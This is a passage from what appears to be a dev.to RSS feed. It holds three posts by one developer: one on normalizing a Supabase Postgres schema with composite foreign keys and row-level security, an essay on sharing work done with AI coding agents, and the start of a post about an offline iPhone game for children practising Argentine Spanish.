&lt;strong&gt;1NF:&lt;/strong&gt; one value per field. No lists you search inside.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2NF:&lt;/strong&gt; "the whole key". If the key has two columns, nothing may depend on just one of them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;3NF:&lt;/strong&gt; "nothing but the key". Nothing may be derivable from another non-key column or from a parent row.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why bother? Because &lt;strong&gt;a fact stored twice will eventually disagree with itself&lt;/strong&gt;, and then nobody knows which copy is true. Normal forms are a checklist for finding the places where that can happen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Before touching anything: count
&lt;/h2&gt;

&lt;p&gt;Before writing a single constraint, I counted on the live data how many rows each new rule would break. These were read-only queries, like this one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Does any item claim a different project than its author?&lt;/span&gt;
&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
&lt;span class="k"&gt;join&lt;/span&gt; &lt;span class="n"&gt;people&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;
&lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All zero. That's what made the rest a calm afternoon instead of a data-repair weekend.&lt;/p&gt;

&lt;h2&gt;
  
  
  What normalization fixed
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2NF: a link table that knew too much
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;idea_items&lt;/code&gt; connects feature ideas to the comments that asked for them. Its key is &lt;code&gt;(idea_id, item_id)&lt;/code&gt;. It also stored &lt;code&gt;person_id&lt;/code&gt;, who wrote the comment.&lt;/p&gt;

&lt;p&gt;But the person depends on the item alone. That's half the key: a textbook 2NF violation. My "how many people asked for this" counter read that copy, so if two person records were ever merged, the counter would quietly go wrong.&lt;/p&gt;

&lt;p&gt;Fix: drop the column and read the person through the item. The count moved into a trigger that also re-counts when an item changes hands.&lt;/p&gt;

&lt;h3&gt;
  
  
  3NF: children repeating their parents
&lt;/h3&gt;

&lt;p&gt;Text chunks (for retrieval) repeated their document's &lt;code&gt;kind&lt;/code&gt;, &lt;code&gt;label&lt;/code&gt; and URL. Every chunk of a document had to agree with the document, and nothing enforced it. I dropped those columns. The search function joins &lt;code&gt;documents&lt;/code&gt; now and returns exactly the same shape as before.&lt;/p&gt;

&lt;h3&gt;
  
  
  Derived values, written by hand
&lt;/h3&gt;

&lt;p&gt;This is where I found the most. Each case got one of two fixes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A function of the same row → a generated column.&lt;/strong&gt; &lt;code&gt;is_public&lt;/code&gt; was just &lt;code&gt;label = 'quotable'&lt;/code&gt; stored twice. Token totals were sums of a JSON breakdown sitting next to them.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;  &lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;drafts&lt;/span&gt; &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="k"&gt;column&lt;/span&gt; &lt;span class="n"&gt;tokens_in&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="k"&gt;generated&lt;/span&gt; &lt;span class="n"&gt;always&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'input'&lt;/span&gt;&lt;span class="p"&gt;)::&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;coalesce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'cache_read'&lt;/span&gt;&lt;span class="p"&gt;)::&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;coalesce&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'cache_write'&lt;/span&gt;&lt;span class="p"&gt;)::&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;stored&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Postgres computes it, and nobody can write it wrong. (An insert that tries to set it fails, so update your writers first.)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;An aggregate over other rows → a trigger as the only writer.&lt;/strong&gt; "Last touched" dates were kept by read-then-write in app code. Two writers at once could lose an update, and one code path forgot to update them at all. Now a trigger on the &lt;code&gt;touches&lt;/code&gt; table does it, with &lt;code&gt;greatest()&lt;/code&gt;/&lt;code&gt;least()&lt;/code&gt;, which is safe under concurrent inserts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1NF: an array that was a table
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;plans.allowed_models&lt;/code&gt; was a text array, searched with &lt;code&gt;= any(...)&lt;/code&gt; in three functions. A list you search inside is a relation in disguise, so it became a &lt;code&gt;plan_models&lt;/code&gt; table, with an &lt;code&gt;ord&lt;/code&gt; column so the app keeps its order.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to denormalize: the copy I kept
&lt;/h2&gt;

&lt;p&gt;Here's the one place I broke 3NF on purpose: &lt;code&gt;project_id&lt;/code&gt; on child tables. People, items, touches and chunks each carry the project they belong to, even though their parent already knows it.&lt;/p&gt;

&lt;p&gt;Why would you denormalize data? I had two reasons.&lt;/p&gt;

&lt;p&gt;This is the serverless mobile part. There is no backend of mine between the phone and the database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security.&lt;/strong&gt; On Supabase, the app talks to Postgres directly, and &lt;a href="https://www.postgresql.org/docs/current/ddl-rowsecurity.html" rel="noopener noreferrer"&gt;row-level security&lt;/a&gt; decides which rows each user sees. A policy that checks the row itself is simple and cheap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;create&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="n"&gt;members_all&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;all&lt;/span&gt;
  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_member&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without the column, every policy would need a join through the parent, on every row of every query.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Performance.&lt;/strong&gt; The inbox and the vector search both filter by project first, using indexes on that column.&lt;/p&gt;

&lt;p&gt;So the copy stays. &lt;strong&gt;What was wrong wasn't the copy; it was that nothing stopped it from lying.&lt;/strong&gt; An item could claim project A while its author lived in project B, and the policy would trust the claim.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keep the copy, make the database guard it
&lt;/h2&gt;

&lt;p&gt;The fix is a composite foreign key. The parent exposes the pair:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;people&lt;/span&gt; &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="k"&gt;constraint&lt;/span&gt; &lt;span class="n"&gt;people_id_project&lt;/span&gt; &lt;span class="k"&gt;unique&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the child references the pair instead of the id alone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;alter&lt;/span&gt; &lt;span class="k"&gt;table&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt;
  &lt;span class="k"&gt;drop&lt;/span&gt; &lt;span class="k"&gt;constraint&lt;/span&gt; &lt;span class="n"&gt;items_person_id_fkey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;add&lt;/span&gt; &lt;span class="k"&gt;constraint&lt;/span&gt; &lt;span class="n"&gt;items_person_fkey&lt;/span&gt;
    &lt;span class="k"&gt;foreign&lt;/span&gt; &lt;span class="k"&gt;key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;person_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;references&lt;/span&gt; &lt;span class="n"&gt;people&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;on&lt;/span&gt; &lt;span class="k"&gt;delete&lt;/span&gt; &lt;span class="k"&gt;cascade&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now &lt;code&gt;items.project_id&lt;/code&gt; can only hold the person's real project. RLS still checks one local column, and that column is now guaranteed correct.&lt;/p&gt;

&lt;p&gt;The same trick checks more than tenancy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An item's account must be on the item's platform: &lt;code&gt;(account_id, project_id, platform)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A touch about an item must be with that item's author: &lt;code&gt;(item_id, project_id, person_id)&lt;/code&gt;, with &lt;code&gt;on update cascade&lt;/code&gt; so it follows if the item moves to another person.&lt;/li&gt;
&lt;li&gt;For a nullable reference that should clear on delete, Postgres 15+ lets you null only one column: &lt;code&gt;on delete set null (theme_id)&lt;/code&gt;. Otherwise you'd wipe the tenant column too.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I left alone, and wrote down why
&lt;/h2&gt;

&lt;p&gt;Not every duplicate is a bug. I kept these, with the reason written as a comment in the migration:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Snapshots.&lt;/strong&gt; A thread as it looked when fetched is a fact about that moment, not a copy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A URL column&lt;/strong&gt; that sometimes holds a link that can't be derived from other columns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A hash computed in JavaScript&lt;/strong&gt; before insert. A generated column in Postgres might normalize whitespace differently.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you can't write down why a copy exists, that's your sign to remove it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't forget your API layer
&lt;/h2&gt;

&lt;p&gt;Composite foreign keys add relationships, and tools that infer joins from foreign keys can get confused. PostgREST (Supabase's REST layer) picks the join from the foreign keys. After the change there were two between &lt;code&gt;plans&lt;/code&gt; and &lt;code&gt;plan_models&lt;/code&gt;: a plan's models, and the plan's default model. That makes a plain embedded select ambiguous, so I named the constraint in the query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plans?select=id,default_model,plan_models!plan_models_plan_fkey(model)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So after the migration, re-run every embedded query your app and functions use, not just your SQL tests. I did this on a local Supabase (&lt;code&gt;supabase start&lt;/code&gt;), inserted deliberately bad rows to confirm they were rejected, then deployed the migration and the server code together and ran the end-to-end suite.&lt;/p&gt;

&lt;h2&gt;
  
  
  The balance
&lt;/h2&gt;

&lt;p&gt;Normalization isn't a purity test. It's how you, as the owner, know where every fact in your product lives. The app's real constraints decide where you bend it. The working rule I ended up with:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Audit against 1NF, 2NF and 3NF, using the original definitions. If an agent builds your app, ask it for this audit explicitly; it won't happen on its own.&lt;/li&gt;
&lt;li&gt;For each duplicate, choose: &lt;strong&gt;remove it&lt;/strong&gt;, &lt;strong&gt;compute it&lt;/strong&gt; (generated column), &lt;strong&gt;cache it&lt;/strong&gt; (trigger as the only writer), or &lt;strong&gt;keep it and enforce it&lt;/strong&gt; (composite foreign key).&lt;/li&gt;
&lt;li&gt;Count violations on live data before adding any constraint.&lt;/li&gt;
&lt;li&gt;Write the reason next to every copy you keep.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Remember the basics, then break them deliberately, with the database holding the line.&lt;/p&gt;




&lt;p&gt;The step-by-step versions, including a read-only check you can run on your own schema:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://worklore.dev/s/2026-10-11-database-normalization-example-the-1nf-2nf-and-3nf-problems-" rel="noopener noreferrer"&gt;Database normalization example: the 1NF, 2NF and 3NF problems in my live Postgres schema&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://worklore.dev/s/2026-10-11-normalization-vs-denormalization-the-copy-i-kept-on-purpose-" rel="noopener noreferrer"&gt;Normalization vs denormalization: the copy I kept on purpose, and how Postgres guards it&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Have you kept a copy on purpose? I'd like to hear what made it worth it, and what keeps it honest.&lt;/p&gt;

</description>
      <category>postgres</category>
      <category>database</category>
      <category>ai</category>
      <category>sqlserver</category>
    </item>
    <item>
      <title>Show your work when the code isn't yours</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Wed, 07 Oct 2026 16:42:12 +0000</pubDate>
      <link>https://dev.to/yahhi/show-your-work-when-the-code-isnt-yours-1m20</link>
      <guid>https://dev.to/yahhi/show-your-work-when-the-code-isnt-yours-1m20</guid>
      <description>&lt;p&gt;Austin Kleon's &lt;em&gt;Show Your Work!&lt;/em&gt; is a short book with one big idea: don't wait until something is finished to share it. Share the process: the small steps, what you're learning, what inspires you, and the story behind the result. Post something small every day, teach what you know, and don't turn into spam. Kleon's promise is that people find you through what you share, and some of them start helping you.&lt;/p&gt;

&lt;p&gt;When I tried to apply it to my own work as a developer, I looked at how others do it. The advice I found online came down to a few variants: post screenshots of the code and the app as they grow, keep a public log of what you got done each day, or write up how you thought about a problem. Even people who suggest the screenshots admit that code that doesn't work yet looks pretty boring.&lt;/p&gt;

&lt;p&gt;These are fine ideas, but they skip the harder case, and in 2026 that case is most of us. You work on a team. The code belongs to the company. You can't put it on GitHub, and you can't screenshot it either. And half of it was written by an AI agent anyway.&lt;/p&gt;

&lt;p&gt;So what do you show?&lt;/p&gt;

&lt;h2&gt;
  
  
  Your repo now shows what your agent can do
&lt;/h2&gt;

&lt;p&gt;Here's the part I expect some of you to disagree with. When an agent writes most of the code in minutes, a clean repository says more about the agent than about you. Anyone with the same agent can produce similar code. What they can't produce is everything around it: what you decided, what you checked, where the agent was confidently wrong and how you noticed.&lt;/p&gt;

&lt;p&gt;That's the work that's actually yours now. And unlike company code, most of it can be shared, once you strip the names.&lt;/p&gt;

&lt;h2&gt;
  
  
  Six things a developer on a team can show
&lt;/h2&gt;

&lt;p&gt;Each of these comes from my own last few weeks. I work mostly with Claude Code on a small product, and the same patterns show up in team work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. A decision and the alternatives you turned down.&lt;/strong&gt; It proves judgement, the one thing an agent doesn't have about your project. My example: a directory that ranks MCP servers gave mine 98 out of 100 and took off two points because my tool names weren't dotted, like &lt;code&gt;stories.search&lt;/code&gt;. I kept them undotted on purpose: the function-name rules of the big model providers reject dots, so the "better" names would break the clients my server exists for. Nothing about this needs the code to explain it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. A failure and how you found the cause.&lt;/strong&gt; Mine: Google started calling my pages "soft 404", pages that opened fine in any browser. The cause was one line in robots.txt that blocked the API my pages load their content from. Google renders pages the way a browser does, wasn't allowed to fetch the data, and saw my app's "not found" screen. To share a failure like this from a company system, keep the mechanism and drop the names: "a rule meant for one thing blocked another" travels to any stack.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. How you checked the agent's work.&lt;/strong&gt; This is the skill that matters most now, and the one nobody sees. Three examples from one week. My live test of my server checked for exactly the wrong error code: the agent and I had written down what the server did and called it correct, and the test passed for days. A real client, through a third-party testing tool, threw an exception on the same response. And a statistics block on my site worked in every test, then stayed empty in production: the CDN's security policy blocked inline scripts, and the test browser didn't apply that policy. The third one I caught this morning: Google's Search Console listed pages on my site that don't exist, all ending in &lt;code&gt;.mdread-only&lt;/code&gt;. On every story page, a link to the story's raw text file sat right next to a "read-only" label. On screen there was a gap between them; in the page's text there wasn't, so Google read the two as one address and tried to crawl it. One space fixed it, and no test of mine would have caught it, because nothing looked wrong. All three times the agent's work was "done". Noticing it wasn't was my job.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. The instructions you gave the agent after it went wrong.&lt;/strong&gt; A rule in your agent's instructions file, a check you added to the deploy, a reusable skill. These show that you can steer, not just prompt. After the security-policy bug, my deploy now refuses to ship a page with an inline script. After a listing of my server drifted from what the server actually did, the deploy fails if the server's public surface changes without a version bump. Each rule is two lines, and each one is a story.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Numbers before and after.&lt;/strong&gt; Impact is easy to share even when the system isn't. "Google stopped calling my pages soft 404s two days after the fix" or "the check now catches it before release" says more than a diff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. What you'd do differently.&lt;/strong&gt; A short, honest postmortem. People trust it more than a success story, and it's often the most useful thing for someone a step behind you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Teach what you know, to someone else's agent
&lt;/h2&gt;

&lt;p&gt;Kleon's best chapter is "Teach what you know". With agents there's a new twist: you can write your experience so that another person's agent can repeat it in their own project. That's what I'm building with &lt;a href="https://worklore.dev/?utm_source=devto" rel="noopener noreferrer"&gt;worklore.dev&lt;/a&gt;: short stories with what was tried, what broke, what finally worked, plus the steps a stranger's agent runs and a check that it worked. When someone's agent reproduces a story, it's counted on the page.&lt;/p&gt;

&lt;p&gt;And it doesn't have to be public. For things you can't generalise enough to share, a private story is still worth writing: in a couple of months you won't remember the details, and your own agent will be able to repeat what you did.&lt;/p&gt;

&lt;p&gt;Showing my work this way already paid back. My article about building an MCP server started two conversations with strangers in dev.to comments, and both turned into features in my product: a check that the server's surface can't change silently, and a set of tests that go through a real client. Kleon calls this "scenius": good work comes out of a group of people showing each other what they do, not out of one person working alone. I wouldn't have found either idea on my own.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to share work from inside a company
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Keep the mechanism, drop the names.&lt;/strong&gt; "An internal service", "a payment step", "our CDN". The lesson almost never depends on the brand.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Share the reasoning, not the artefact.&lt;/strong&gt; Why you chose something, how you tested it, what you'd change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask once, then you'll know the line.&lt;/strong&gt; Most leads are fine with an anonymised lesson. If not, write it privately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Small is fine.&lt;/strong&gt; One problem, one fix, 300 words. Kleon is right that the small steps are the part people want to see.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  So what would you show?
&lt;/h2&gt;

&lt;p&gt;If you couldn't show a single line of code, what would you show about your work? I'd really like to know what other developers on teams share, and what they've been told they can't.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>career</category>
      <category>productivity</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Mi Barrio: my kids practice Argentine Spanish with AI shopkeepers that live on the phone</title>
      <dc:creator>Valentina Koniukhova</dc:creator>
      <pubDate>Sun, 04 Oct 2026 02:58:16 +0000</pubDate>
      <link>https://dev.to/yahhi/mi-barrio-my-kids-practice-argentine-spanish-with-ai-shopkeepers-that-live-on-the-phone-3i4l</link>
      <guid>https://dev.to/yahhi/mi-barrio-my-kids-practice-argentine-spanish-with-ai-shopkeepers-that-live-on-the-phone-3i4l</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hacktoberfest-weekend-2026-10-01"&gt;Hacktoberfest Weekend Challenge: Build for a Friend&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;My children are 9 and 10. Their first language is Russian, and they have to learn Spanish, specifically the Argentine kind, where people say &lt;em&gt;vos querés&lt;/em&gt; instead of &lt;em&gt;tú quieres&lt;/em&gt; and the bakery sells &lt;em&gt;medialunas&lt;/em&gt;, not croissants.&lt;/p&gt;

&lt;p&gt;We tried online teachers, both Russian-speaking and Spanish-speaking. Progress was slow. The lessons were about grammar, and my kids needed something different: a reason to open their mouths, and situations from real life where the words actually matter.&lt;/p&gt;

&lt;p&gt;So I built &lt;strong&gt;Mi Barrio&lt;/strong&gt; ("my neighborhood"), an iPhone game set in a small Buenos Aires block with three shops:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;La panadería&lt;/strong&gt;: Doña Rosa, a grandmotherly baker, sells medialunas and alfajores.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;El kiosco&lt;/strong&gt;: Tito, a relaxed young guy, sells candy and &lt;em&gt;figuritas&lt;/em&gt; (football sticker packs).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;La heladería&lt;/strong&gt;: Mili scoops ice cream and asks &lt;em&gt;¿cucurucho o vasito?&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each shop is a mission with five small goals, written in Russian so the kids always know what to do: greet the shopkeeper, ask for three medialunas, add an alfajor, ask the price, say thank you and goodbye. The child taps the microphone and &lt;strong&gt;speaks Spanish&lt;/strong&gt;. The character answers out loud, in Rioplatense Spanish, and the goals tick off as the child reaches them.&lt;/p&gt;

&lt;p&gt;When they get stuck, a 💡 button shows a ready phrase with its Russian translation and can say it aloud. Any line from a character can be translated with one tap. Finishing without hints gives three stars, and stars unlock stickers for an album: a medialuna, a mate, a &lt;em&gt;colectivo&lt;/em&gt;, and Copo, our Samoyed mascot.&lt;/p&gt;

&lt;p&gt;Everything runs on the phone. No account, no server, and nothing my kids say leaves the device.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;Me ordering medialunas from Doña Rosa, by voice, fully offline:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/pj6c-IQYnVY" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6jwxdqylcl2xmmdtfmmv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6jwxdqylcl2xmmdtfmmv.png" alt="The neighborhood map" width="460" height="1000"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbb3iqlbz4rvgxiukldfv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbb3iqlbz4rvgxiukldfv.png" alt="Talking to Doña Rosa" width="460" height="1000"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F447z44zdtvnue39rs1y1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F447z44zdtvnue39rs1y1.png" alt="Mission complete, new stickers" width="460" height="1000"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yahhi" rel="noopener noreferrer"&gt;
        Yahhi
      &lt;/a&gt; / &lt;a href="https://github.com/Yahhi/mi-barrio" rel="noopener noreferrer"&gt;
        mi-barrio
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Offline iPhone game: kids practice Argentine Spanish with on-device AI shopkeepers (Gemma 4 + Whisper + Piper). DEV Hacktoberfest Weekend Challenge 2026.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Mi Barrio 🧉&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;An offline iPhone game where kids practice Argentine Spanish by talking to AI shopkeepers in a Buenos Aires neighborhood.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Built for the &lt;a href="https://dev.to/challenges/hacktoberfest-weekend-2026-10-01" rel="nofollow"&gt;&lt;strong&gt;DEV Hacktoberfest Weekend Challenge 2026: Build for a Friend&lt;/strong&gt;&lt;/a&gt; (October 2026). The "friends" are my two children, 9 and 10. Their first language is Russian, and they have to learn Spanish, specifically the Rioplatense kind, with &lt;em&gt;vos&lt;/em&gt;, &lt;em&gt;che&lt;/em&gt; and &lt;em&gt;medialunas&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;
